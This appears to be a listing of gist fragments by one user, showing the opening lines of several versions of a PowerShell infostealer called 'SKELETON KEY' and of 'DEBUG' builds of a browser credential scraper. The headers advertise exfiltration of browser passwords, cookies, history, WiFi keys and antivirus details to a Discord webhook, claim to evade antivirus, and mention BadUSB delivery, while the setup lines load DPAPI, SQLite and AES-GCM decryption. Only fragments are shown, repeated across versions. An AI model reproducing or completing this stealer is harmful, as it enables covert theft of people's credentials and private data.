Gravity3432

# ============================================================
#  SKELETON KEY v9 — Ultimate Browser Data Exfiltration
#  Chromium + Firefox: Passwords, Cookies, History + WiFi + AV
#  Pure PowerShell. No external binaries. No AV triggers.
# ============================================================

# ==================== CONFIG ====================
if (!$DiscordUrl) { $DiscordUrl = 'YOUR_DISCORD_WEBHOOK_HERE' }

try {

Gravity3432

# ============================================================
#  SKELETON KEY v8 — Ultimate Browser Data Exfiltration
#  Chromium + Firefox: Passwords, Cookies, History + WiFi + AV
#  Pure PowerShell. No external binaries. No AV triggers.
# ============================================================

# ==================== CONFIG ====================
# BadUSB sets $DiscordUrl first — gist only acts as fallback
if (!$DiscordUrl) { $DiscordUrl = 'YOUR_DISCORD_WEBHOOK_HERE' }

Gravity3432

# ============================================================
#  SKELETON KEY v7 — Ultimate Browser Data Exfiltration
#  Chromium + Firefox: Passwords, Cookies, History + WiFi + AV
#  Pure PowerShell. No external binaries. No AV triggers.
# ============================================================

# ==================== CONFIG ====================
if (!$DiscordUrl) { $DiscordUrl = 'YOUR_DISCORD_WEBHOOK_HERE' }

# Setup temp directory — must succeed or exit cleanly

Gravity3432

# ============================================================
#  SKELETON KEY  —  Ultimate Browser Data Exfiltration
#  Chromium + Firefox: Passwords, Cookies, History + WiFi + AV
#  Pure PowerShell. No external binaries. No AV triggers.
# ============================================================

# ==================== CONFIG ====================
$DiscordUrl = 'YOUR_DISCORD_WEBHOOK_HERE'
$Script:TempDir  = "$env:TEMP\sk-$([Guid]::NewGuid().ToString('n').Substring(0,6))"
$Script:SigFile  = "$env:TEMP\sk_done.sig"

Gravity3432

# ============================================================
#  SKELETON KEY  —  Ultimate Browser Data Exfiltration
#  Chromium + Firefox: Passwords, Cookies, History + WiFi + AV
#  Pure PowerShell. No external binaries. No AV triggers.
# ============================================================

# ==================== CONFIG ====================
$DiscordUrl = 'YOUR_DISCORD_WEBHOOK_HERE'
$Script:TempDir  = "$env:TEMP\sk-$([Guid]::NewGuid().ToString('n').Substring(0,6))"
$Script:SigFile  = "$env:TEMP\sk_done.sig"

Gravity3432

<#
.SYNOPSIS
    DEBUG v5 - BCrypt GCM structure fix (tag separate from input).
#>

Add-Type -AssemblyName System.Security

Write-Host "[*] Loading WinSQLite3..."
Add-Type @"
using System;

Gravity3432

<#
.SYNOPSIS
    DEBUG v4 - fixed DllImport CharSet for bcrypt.dll (must be Unicode).
    Falls back to CNG if BCrypt still fails.
#>

Add-Type -AssemblyName System.Security

Write-Host "[*] Loading WinSQLite3..."
Add-Type @"

Gravity3432

<#
.SYNOPSIS
    DEBUG v3 - fixed byte[] casting for AES-GCM decryption.
#>

Add-Type -AssemblyName System.Security
Add-Type -AssemblyName System.Windows.Forms

Write-Host "[*] Loading WinSQLite3..."
Add-Type @"

Gravity3432

<#
.SYNOPSIS
    DEBUG v2 - browser credential scraper. Prints every step.
#>

# ------------------------------------------------------------
# Critical: load System.Security for DPAPI
# ------------------------------------------------------------
Add-Type -AssemblyName System.Security
Add-Type -AssemblyName System.Windows.Forms

Gravity3432

<#
.SYNOPSIS
    DEBUG VERSION - prints every step to diagnose browser credential scraping.
    Once confirmed working, remove Write-Host lines for production.
#>

# ------------------------------------------------------------
# WinSQLite3 wrapper (winsqlite3.dll ships with Win10/11)
# ------------------------------------------------------------
Write-Host "[*] Loading WinSQLite3..."